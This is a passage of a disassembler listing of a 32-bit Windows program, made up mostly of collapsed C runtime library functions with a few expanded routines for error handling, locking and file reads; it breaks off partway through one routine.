; [00000019 BYTES: COLLAPSED FUNCTION std::bad_alloc::bad_alloc(void). PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND]
; [000000BA BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION $LN12_0. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
; [00000145 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION $LN18. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _srand. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION __vsnprintf_l. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION __fclose_nolock. PRESS KEYPAD "+" TO EXPAND]
; [00000071 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION $LN13_2. PRESS KEYPAD "+" TO EXPAND]
; [00000008 BYTES: COLLAPSED FUNCTION $LN10. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __time64. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _vscan_fn. PRESS KEYPAD "+" TO EXPAND]
; [0000001F BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN14. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000002F BYTES: COLLAPSED CHUNK OF FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION _V6_HeapAlloc. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN8_1. PRESS KEYPAD "+" TO EXPAND]
; [000000C3 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000086 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BE BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
; [000000BF BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _feof. PRESS KEYPAD "+" TO EXPAND]
; [00000196 BYTES: COLLAPSED FUNCTION __fread_nolock_s. PRESS KEYPAD "+" TO EXPAND]
; [000000BD BYTES: COLLAPSED FUNCTION _fread_s. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION $LN15_0. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000011D BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j__atol. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND]
; [00000041 BYTES: COLLAPSED FUNCTION _check_managed_app. PRESS KEYPAD "+" TO EXPAND]
; [000001E0 BYTES: COLLAPSED FUNCTION ___tmainCRTStartup. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION $LN39. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop ebx
leave
retn 8
; [00000007 BYTES: COLLAPSED FUNCTION sub_404235. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION unknown_libname_9. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler3. PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [000000D5 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION __CreateFrameInfo. PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION __IsExceptionObjectToBeDestroyed. PRESS KEYPAD "+" TO EXPAND]
; [0000004C BYTES: COLLAPSED FUNCTION __FindAndUnlinkFrame. PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION __EH_prolog3. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __EH_prolog3_catch. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __EH_prolog3_GS. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __EH_epilog3. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40467F proc near ; CODE XREF: sub_40177B:loc_4019EBp
; sub_4019F3:loc_401C15p ...
mov ecx, [ebp-10h]
xor ecx, ebp
call sub_402710
jmp __EH_epilog3
sub_40467F endp
; [00000104 BYTES: COLLAPSED FUNCTION ___report_gsfailure. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000055 BYTES: COLLAPSED FUNCTION setSBCS(threadmbcinfostruct *). PRESS KEYPAD "+" TO EXPAND]
; [0000018A BYTES: COLLAPSED FUNCTION setSBUpLow(threadmbcinfostruct *). PRESS KEYPAD "+" TO EXPAND]
; [00000098 BYTES: COLLAPSED FUNCTION ___updatetmbcinfo. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION $LN18_0. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN13_4. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION getSystemCP(int). PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __setmbcp_nolock. PRESS KEYPAD "+" TO EXPAND]
; [00000161 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN27. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp short $LN28
; ---------------------------------------------------------------------------
; [0000002E BYTES: COLLAPSED CHUNK OF FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION ___freetlocinfo. PRESS KEYPAD "+" TO EXPAND]
; [00000086 BYTES: COLLAPSED FUNCTION ___addlocaleref. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION ___removelocaleref. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __updatetlocinfoEx_nolock. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION ___updatetlocinfo. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION $LN11_2. PRESS KEYPAD "+" TO EXPAND]
; [00000063 BYTES: COLLAPSED FUNCTION __encode_pointer. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __encoded_null. PRESS KEYPAD "+" TO EXPAND]
; [00000063 BYTES: COLLAPSED FUNCTION __decode_pointer. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4051F6 proc near ; DATA XREF: __mtinit+8Ao
; .data:off_425E04o
call ds:dword_41D180 ; TlsAlloc
retn 4
sub_4051F6 endp
; [0000002A BYTES: COLLAPSED FUNCTION ___set_flsgetvalue. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __mtterm. PRESS KEYPAD "+" TO EXPAND]
; [000000AB BYTES: COLLAPSED FUNCTION __initptd. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN9_1. PRESS KEYPAD "+" TO EXPAND]
; [00000083 BYTES: COLLAPSED FUNCTION __getptd_noexit. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __getptd. PRESS KEYPAD "+" TO EXPAND]
; [00000109 BYTES: COLLAPSED FUNCTION _freefls(x). PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION $LN27_0. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN19_0. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION $LN28_0. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN23. PRESS KEYPAD "+" TO EXPAND]
; [00000184 BYTES: COLLAPSED FUNCTION __mtinit. PRESS KEYPAD "+" TO EXPAND]
; [00000117 BYTES: COLLAPSED FUNCTION __tolower_l. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION __get_errno_from_oserr. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION __errno. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION ___doserrno. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000061 BYTES: COLLAPSED FUNCTION ___ascii_strnicmp. PRESS KEYPAD "+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND]
; [00000055 BYTES: COLLAPSED FUNCTION __mtdeletelocks. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION __unlock. PRESS KEYPAD "+" TO EXPAND]
; [000000BA BYTES: COLLAPSED FUNCTION __mtinitlocknum. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN14_2. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND]
; [0000005B BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000314 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B0 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
; [000002E3 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000196 BYTES: COLLAPSED FUNCTION __except_handler4. PRESS KEYPAD "+" TO EXPAND]
; [00000160 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [00000975 BYTES: COLLAPSED FUNCTION __output_l. PRESS KEYPAD "+" TO EXPAND]
db 8Dh, 49h, 0
off_40734F dd offset $NORMAL_STATE$25379 ; DATA XREF: __output_l+1A2r
dd offset $LN130 ; jump table for switch statement
dd offset $LN129
dd offset $LN121
dd offset $LN117
dd offset $LN116
dd offset $LN112
dd offset $LN96
align 10h
; [00000365 BYTES: COLLAPSED FUNCTION unknown_libname_13. PRESS KEYPAD "+" TO EXPAND]
; [00000065 BYTES: COLLAPSED FUNCTION _strcpy_s. PRESS KEYPAD "+" TO EXPAND]
; [00000040 BYTES: COLLAPSED FUNCTION unknown_libname_53. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION unknown_libname_55. PRESS KEYPAD "+" TO EXPAND]
; [0000004B BYTES: COLLAPSED FUNCTION unknown_libname_57. PRESS KEYPAD "+" TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION unknown_libname_59. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION ___crtCorExitProcess. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION ___crtExitProcess. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __lockexit. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __initterm_e. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_407906 proc near ; CODE XREF: ___heap_select+12p
; ___crtInitCritSecAndSpinCount+27p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
cmp ecx, esi
jnz short loc_40792E
loc_407911: ; CODE XREF: sub_407906+2Fj
call __errno
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call __invalid_parameter
add esp, 14h
push 16h
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40792E: ; CODE XREF: sub_407906+9j
mov eax, dword_425F78
cmp eax, esi
jz short loc_407911
mov [ecx], eax
xor eax, eax
pop esi
retn
sub_407906 endp
; =============== S U B R O U T I N E =======================================
sub_40793D proc near ; CODE XREF: ___heap_select+2Dp
; sub_40F524+11Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
xor esi, esi
cmp eax, esi
jnz short loc_407965
loc_407948: ; CODE XREF: sub_40793D+2Ej
call __errno
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call __invalid_parameter
add esp, 14h
push 16h
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_407965: ; CODE XREF: sub_40793D+9j
cmp dword_425F78, esi
jz short loc_407948
mov ecx, dword_425F84
mov [eax], ecx
xor eax, eax
pop esi
retn
sub_40793D endp
; [00000092 BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION $LN15_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000006 BYTES: COLLAPSED CHUNK OF FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION $LN26_0. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND]
; [0000004C BYTES: COLLAPSED FUNCTION __init_pointers. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_407B65 proc near ; CODE XREF: __invoke_watson+CEp
; __invalid_parameter+18p ...
and dword_434DC4, 0
retn
sub_407B65 endp
; ---------------------------------------------------------------------------
align 10h
; [0000007A BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000365 BYTES: COLLAPSED FUNCTION unknown_libname_61. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F55 proc near ; CODE XREF: sub_402FED+7p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_421518
call __SEH_prolog4
push 0Eh
call __lock
pop ecx
and [ebp+ms_exc.disabled], 0
mov esi, [ebp+arg_0]
mov ecx, [esi+4]
test ecx, ecx
jz short loc_407FA6
mov eax, dword_425FC0
mov edx, offset dword_425FBC
loc_407F81: ; CODE XREF: sub_407F55+65j
mov [ebp+var_1C], eax
test eax, eax
jz short loc_407F99
cmp [eax], ecx
jnz short loc_407FB8
mov ecx, [eax+4]
mov [edx+4], ecx
push eax ; Memory
call _free
pop ecx
loc_407F99: ; CODE XREF: sub_407F55+31j
push dword ptr [esi+4] ; Memory
call _free
pop ecx
and dword ptr [esi+4], 0
loc_407FA6: ; CODE XREF: sub_407F55+20j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_407FBC
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_407FB8: ; CODE XREF: sub_407F55+35j
mov edx, eax
jmp short loc_407F81
sub_407F55 endp
; =============== S U B R O U T I N E =======================================
sub_407FBC proc near ; CODE XREF: sub_407F55+58p
; DATA XREF: .rdata:00421530o
push 0Eh
call __unlock
pop ecx
retn
sub_407FBC endp
; ---------------------------------------------------------------------------
align 10h
; [00000088 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_408058 proc near ; CODE XREF: __init_pointers+9p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_425FC4, eax
retn
sub_408058 endp
; [00000022 BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_408084 proc near ; CODE XREF: __flsbuf+76p __flsbuf+82p ...
mov eax, offset off_423950
retn
sub_408084 endp
; [000000B1 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __lock_file. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __lock_file2. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __unlock_file. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __unlock_file2. PRESS KEYPAD "+" TO EXPAND]
; [000002A2 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND]
; [0000011A BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION $LN25. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN19_1. PRESS KEYPAD "+" TO EXPAND]
align 4
; [000000D6 BYTES: COLLAPSED FUNCTION __local_unwind4. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind4(x). PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _EH4_CallFilterFunc(x,x). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000019 BYTES: COLLAPSED CHUNK OF FUNCTION __except_handler4. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _EH4_GlobalUnwind(x). PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _EH4_LocalUnwind(x,x,x,x). PRESS KEYPAD "+" TO EXPAND]
; [00000096 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000240 BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __fileno. PRESS KEYPAD "+" TO EXPAND]
; [00000094 BYTES: COLLAPSED FUNCTION __close_nolock. PRESS KEYPAD "+" TO EXPAND]
; [000000C3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION $LN14_4. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [00000062 BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND]
; [00000042 BYTES: COLLAPSED FUNCTION __fflush_nolock. PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION $LN31. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION $LN24_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000001E BYTES: COLLAPSED CHUNK OF FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN20_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_408D58 proc near ; CODE XREF: ___endstdiop
push 1
call _flsall
pop ecx
retn
sub_408D58 endp
; ---------------------------------------------------------------------------
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
; [00000054 BYTES: COLLAPSED FUNCTION ___check_float_string. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND]
; [00000C4D BYTES: COLLAPSED FUNCTION __input_l. PRESS KEYPAD "+" TO EXPAND]
; [000001A0 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000120 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND]
; [000005A2 BYTES: COLLAPSED FUNCTION __read_nolock. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40A34F(int,int,size_t Size)
sub_40A34F proc near ; CODE XREF: __fread_nolock_s+C9p
; __filbuf+73p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Size = dword ptr 10h
push 10h
push offset dword_4215C0
call __SEH_prolog4
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_40A37E
call ___doserrno
and dword ptr [eax], 0
call __errno
mov dword ptr [eax], 9
loc_40A376: ; CODE XREF: sub_40A34F+5Cj
or eax, 0FFFFFFFFh
jmp loc_40A41B
; ---------------------------------------------------------------------------
loc_40A37E: ; CODE XREF: sub_40A34F+12j
xor edi, edi
cmp eax, edi
jl short loc_40A38C
cmp eax, dword_433C84
jb short loc_40A3AD
loc_40A38C: ; CODE XREF: sub_40A34F+33j
; sub_40A34F+7Cj
call ___doserrno
mov [eax], edi
call __errno
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call __invalid_parameter
add esp, 14h
jmp short loc_40A376
; ---------------------------------------------------------------------------
loc_40A3AD: ; CODE XREF: sub_40A34F+3Bj
mov ecx, eax
sar ecx, 5
lea ebx, ds:433CA0h[ecx*4]
mov esi, eax
and esi, 1Fh
imul esi, 28h
mov ecx, [ebx]
movzx ecx, byte ptr [ecx+esi+4]
and ecx, 1
jz short loc_40A38C
push eax
call ___lock_fhandle
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_40A3F6
push [ebp+Size] ; Size
push [ebp+arg_4] ; int
push [ebp+arg_0] ; int
call __read_nolock
add esp, 0Ch
mov [ebp+var_1C], eax
jmp short loc_40A40C
; ---------------------------------------------------------------------------
loc_40A3F6: ; CODE XREF: sub_40A34F+8Fj
call __errno
mov dword ptr [eax], 9
call ___doserrno
mov [eax], edi
or [ebp+var_1C], 0FFFFFFFFh
loc_40A40C: ; CODE XREF: sub_40A34F+A5j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40A421
mov eax, [ebp+var_1C]
loc_40A41B: ; CODE XREF: sub_40A34F+2Aj
call __SEH_epilog4
retn
sub_40A34F endp
; =============== S U B R O U T I N E =======================================
sub_40A421 proc near ; CODE XREF: sub_40A34F+C4p
; DATA XREF: .rdata:004215D8o
push dword ptr [ebp+8]
call __unlock_fhandle
pop ecx
retn
sub_40A421 endp
; [0000027A BYTES: COLLAPSED FUNCTION ___libm_error_support. PRESS KEYPAD "+" TO EXPAND]
db 8Bh, 0FFh
off_40A6A7 dd offset $LN26_1 ; DATA XREF: ___libm_error_support+1DAr
dd offset $LN24_2 ; jump table for switch statement
dd offset $LN22_0
dd offset $LN20_3
dd offset $LN18_3
dd offset $LN16_2
dd offset $LN36
dd offset $LN12_3
dd offset $LN30
dd offset $LN8_3
dd offset $LN6_0
dd offset $LN4
dd offset $LN2
; [00000014 BYTES: COLLAPSED FUNCTION __sse2_mathfcns_init. PRESS KEYPAD "+" TO EXPAND]
; [000000D1 BYTES: COLLAPSED FUNCTION __floor_default. PRESS KEYPAD "+" TO EXPAND]
; [0000022B BYTES: COLLAPSED FUNCTION strtoxl(localeinfo_struct *,char const *,char const * *,int,int). PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; [0000016F BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
; [000000DB BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000198 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000135 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40B042 proc near ; CODE XREF: ___tmainCRTStartup:loc_40402Cp
push esi
push edi
mov eax, offset dword_421294
mov edi, offset dword_421294
cmp eax, edi
